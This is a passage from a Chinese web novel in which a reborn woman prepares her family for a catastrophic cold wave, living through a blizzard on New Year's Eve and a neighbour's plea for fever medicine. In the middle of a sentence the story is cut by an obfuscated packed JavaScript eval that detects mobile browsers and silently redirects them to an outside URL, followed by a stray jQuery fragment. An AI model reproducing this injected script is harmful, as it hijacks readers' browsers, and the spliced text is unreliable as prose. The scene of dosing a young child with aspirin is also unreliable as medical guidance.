王大爷和媳妇对视一眼。棉花是紧俏货，但山里人家，谁家不存点自留棉？旧棉袄棉被，拆洗翻新一下，也能用。
“成！”王大爷媳妇拍板，“俺家还有十来斤新棉花，是留着给小子娶媳妇絮被子的，先匀给你。旧棉袄也有两件，是俺公婆留下的，厚实，就是样式老。你看成不？”
“成！”林雪梅立刻答应。新棉花难得，旧棉袄正好，拆了重做，或者直接加厚，都是极好的御寒物。
最终，二十棵白菜和十斤黄豆，换了八斤新棉花、两件厚重的老式旧棉袄，还有王大爷媳妇硬塞的一小罐自家熬的猪油。
“姑娘，这猪油你拿着，炒菜香，抹手抹脸防皴裂，顶好用！”王大爷媳妇热情地说。
林雪梅道了谢，把东西仔细打包好。山货和换来的棉花衣物加起来分量不轻，王大爷让儿子用独轮车帮她送到离城不远的路口。
背着重重的背篓回到家，王秀芬看见那么多山货和棉花，又惊又喜，听了林雪梅“用菜跟老乡换”的说辞，也只是感慨女儿能干，没多问。
那两件旧棉袄虽然式样古旧，但棉花絮得极厚，拆洗后重新弹一遍，足够给全家每人添一件厚棉马甲。
林雪梅把猪油交给母亲，自己留下那罐子。这罐子不大，黑陶的，有个严实的木塞。她进入空间，用井水仔细清洗了罐子，然后装了满满一罐空间井水出来。
她有个模糊的想法，需要验证。
接下来的几天，林雪梅变得异常忙碌。白天上班，晚上就和母亲一起拆洗翻新棉衣，絮棉花，纳鞋底。
林建国和林小山则负责将买来的煤炭，一点点运进地窖，用木板隔开，避免受潮。
地窖里分门别类，粮食区、蔬菜区、山货区、煤炭区，甚至还用旧砖隔出了一个小的“工具杂物区”，放着铁锹、斧头、绳索、蜡烛、火柴等零碎物品。
家里的窗户全部用裁好的厚塑料布从里面蒙了一层，边缘用木板条钉死，形成了简易的双层窗。
门缝也钉上了自制的棉布条门帘，火炕的烟道被林建国彻底清理了一遍，糊了新黄泥，烧起来果然旺了很多，省煤。
期间刘志远又来了一次，送来了一个他自己焊的小铁皮炉子，带一节烟囱。
“这个比煤油炉暖和，也更安全，就是费煤。你可以放在外屋，做饭取暖两用，烟囱伸到窗外就行。”
林雪梅家正缺这个，欣然收下，硬塞给刘志远五块钱和五斤黄豆。刘志远推辞不过，红着脸收了黄豆，钱死活不要。
“林雪梅同志，你别这样。我帮你们，不是因为图什么。”他认真地说，“是觉得你们做的事有意义。如果……如果真的有那么一天，我希望像你们这样的人，能活下去，能带着更多的人活下去。”
他的话让林雪梅沉默良久。这个技术员，心里装着的，不仅仅是自己的安危。
时间一天天逼近年底。厂里开始张罗元旦文艺汇演，排练节目的歌声和锣鼓声偶尔飘过家属院，带来一丝节日的喧闹。但在这喧闹之下，一种隐隐的不安，像冰层下的暗流，开始在部分人中涌动。
林雪梅发现，厂里的小黑市悄悄活跃起来。有人用粮票换煤票，用工业券换棉花票，甚至有人开始打听哪里能买到高价粮。保卫科睁只眼闭只眼，只要不太过分，就不深究。
张大妈家的争吵少了，她男人破天荒地开始往家搬柴火。李嫂把两个孩子裹得严严实实，很少让他们出门玩了。连一向爱美的赵美娟，也穿上了臃肿的棉裤，据说还托人从外地买回来一件军大衣。
十二月三十号，元旦前一天。
下午，天色阴沉得厉害，铅灰色的云层低低地压着屋顶。广播里预报夜间有中到大雪，局部暴雪。
林雪梅下班回家时，感觉到空气中的湿冷已经带上了刺骨的意味。风吹在脸上，不像刮，像小刀子割。
家里却暖意融融。新砌的小铁皮炉子烧得正旺，炉子上坐着铁壶，咕嘟咕嘟冒着白气。王秀芬在揉面，准备包元旦的饺子。林小山在捣鼓一个破旧的半导体收音机，刺啦刺啦的电流声里，偶尔能听见一两个清晰的词句。
“爸呢？”林雪梅问。
“去你张叔家了，说是借个车轱辘，想把咱家那辆旧自行车修修，万一有事能用。”王秀芬头也不抬地说。
林雪梅心里一紧。父亲的想法是对的，极寒来临时，自行车可能是唯一可靠的交通工具。但这个时候出去……
她走到窗边，抹开玻璃上的霜花。外面已经开始飘雪了，不是雪花，是细密的雪粒子，打在玻璃上沙沙响。
“这雪不对劲。”她喃喃道。
前世，极寒来临的前几天，也是这样先下雪粒子，然后才是铺天盖地的鹅毛大雪和恐怖的降温。
“妈，馅别弄太多了，够今晚和明天吃就行。”林雪梅转身说，“多和点面，烙点饼，耐放。”
王秀芬看了女儿一眼，没问为什么，点了点头：“成。”
林雪梅又对林小山说：“小山，别弄收音机了，去把院里柴火都抱进棚子里，用油毡盖好。水缸挑满，把屋里所有能装水的盆啊桶啊都接上水，放到不碍事的角落。”
林小山见她神色严肃，立刻放下收音机：“哎！”
她自己则进入空间，快速巡视了一遍。作物长势良好，井水充盈。林雪梅想了想，用那个黑陶罐装了满满一罐井水，又摘了五棵最大最饱满的白菜，退出空间。
把白菜交给母亲，罐子则小心地放在自己屋里。她开始整理自己的挎包和一个小包袱，里面装上火柴、蜡烛、一把小刀、一卷纱布、两包止痛片、那罐井水、几个窝头、还有那本硬壳笔记本和一支笔。这是她的应急包，随时可以拎走。
天彻底黑下来时，林建国才顶着风雪回来，眉毛胡子都结了霜。
“车轱辘没借到，张家的也被他小舅子借走了。”林建国跺着脚上的雪，“怪了，今天好几家都在修自行车。”
林雪梅的心又沉了沉。看来，感到不对劲的人，不止她一个。
晚饭是白菜猪肉馅饺子，王秀芬还炒了个黄豆芽，拌了个萝卜丝。一家四口围坐在炉子边，吃得鼻尖冒汗。窗外，风雪呼啸。
饭后，林雪梅坚持让全家人都用热水烫了脚，换上最厚的袜子和棉鞋。又把早就准备好的、灌了热水的葡萄糖玻璃瓶用旧布包好，每人被窝里塞了两个。
“姐，至于吗？”林小山嘟囔，“跟要打仗似的。”
“比打仗还厉害。”林雪梅严肃地说，“今晚都警醒点，听到任何异常动静，别贸然出去，先叫我。”
夜里，雪越下越大。风像疯了一样，卷着雪片砸在窗户上，发出砰砰的闷响。塑料布绷紧的窗户被吹得鼓荡，呜呜的风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048560|194761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声从各种缝隙钻进来，尖锐凄厉。
林雪梅几乎一夜没合眼。她听着风声，感受着屋里温度一点点下降，炉火必须一直添煤才能维持温暖。后半夜，她悄悄起身，摸黑给炉子加了一次煤，又检查了门窗。
温度计挂在里屋墙上，借着炉火的微光，她看到水银柱已经降到了零下二十五度。
而此刻，距离她记忆中那场席卷一切的寒潮巅峰，还有至少三天。
这一夜，黑土岭许多人都没睡安稳。风声太骇人，寒冷太彻骨。收音机里除了噪音，什么也收不到，仿佛整个世界都被这场风雪隔绝了。
元旦早晨，雪停了，但天依然阴沉。风小了些，却带着一股穿透一切的寒意。
推开房门，积雪几乎齐膝深。院子里的老榆树，枝条被厚厚的冰凌包裹，沉甸甸地垂下。屋檐下挂着长长的冰溜子，像狰狞的獠牙。
世界一片死寂。没有鸡鸣，没有狗吠，连往常清晨公用水龙头边的喧闹也消失了。
林建国试图去院里铲雪，刚出去几分钟，脸就冻得发紫，赶紧退了回来。“不行，太冷了！喘气都冻肺管子！”
温度计显示：零下三十一度。
而这，只是开始。
王秀芬煮了一锅玉米面粥，全家就着咸菜和昨晚剩的饼子，默默吃了元旦的“早饭”。没有喜庆，只有一种山雨欲来的压抑。
“爸，妈，小山，”林雪梅放下碗，声音平静却带着不容置疑的力量，“从现在起，除非必要，谁也不许出门。地窖里的煤，省着点烧，但炉子不能灭。喝水吃饭，尽量喝煮开的水，吃热乎的。小山，你每隔两小时去检查一次炉子和烟囱，千万小心煤气。”
“哎。”林小山重重应下。
“梅子，厂里……”王秀芬担忧地问。
“厂里肯定停工了。”林雪梅说，“这么大的雪，这么冷的天，机器都开不动，人更没法出门。等消息吧。”
她知道，等来的不会是复工通知，而是一步步升级的灾难预警和最终的全面瘫痪。
上午十点左右，院门外传来踩雪的咯吱声和拍门声。
“林大哥！林大哥在家吗？”是张大妈的声音，带着哭腔。
林建国看了林雪梅一眼，林雪梅点点头。林建国披上棉袄，戴上狗皮帽子，裹严实了才去开门。
张大妈跌跌撞撞冲进来，脸冻得青白，嘴唇哆嗦着：“林大哥，秀芬妹子，救命啊！我家……我家小柱子发烧了，烧得说胡话！卫生所关门了，赤脚大夫也找不着，这可咋办啊！”
小柱子是张大妈的小孙子，才四岁。
王秀芬心软，立刻看向林雪梅。林雪梅心里叹了口气。她知道张大妈一家前世的下场，但孩子是无辜的。
“张大妈，你别急。”林雪梅起身，“我家有点退烧药，你先拿回去给孩子试试。但这么冷的天，发烧可大可小，最好还是想办法送医院。”
她从李嫂给的那个小铁盒里，找出半瓶阿司匹林，倒出两片用纸包好，又拿了一小卷纱布和一点酒精棉。“药一次半片，四个小时一次，用温水化开喂。用酒精棉擦孩子的手心脚心，能降温。纱布备用。”
张大妈千恩万谢地接过，又犹犹豫豫地说：“那个……雪梅啊，你家……有没有多余的煤？我家煤票买的煤，不够烧，昨晚后半夜炉子就灭了，孩子怕是冻着的……”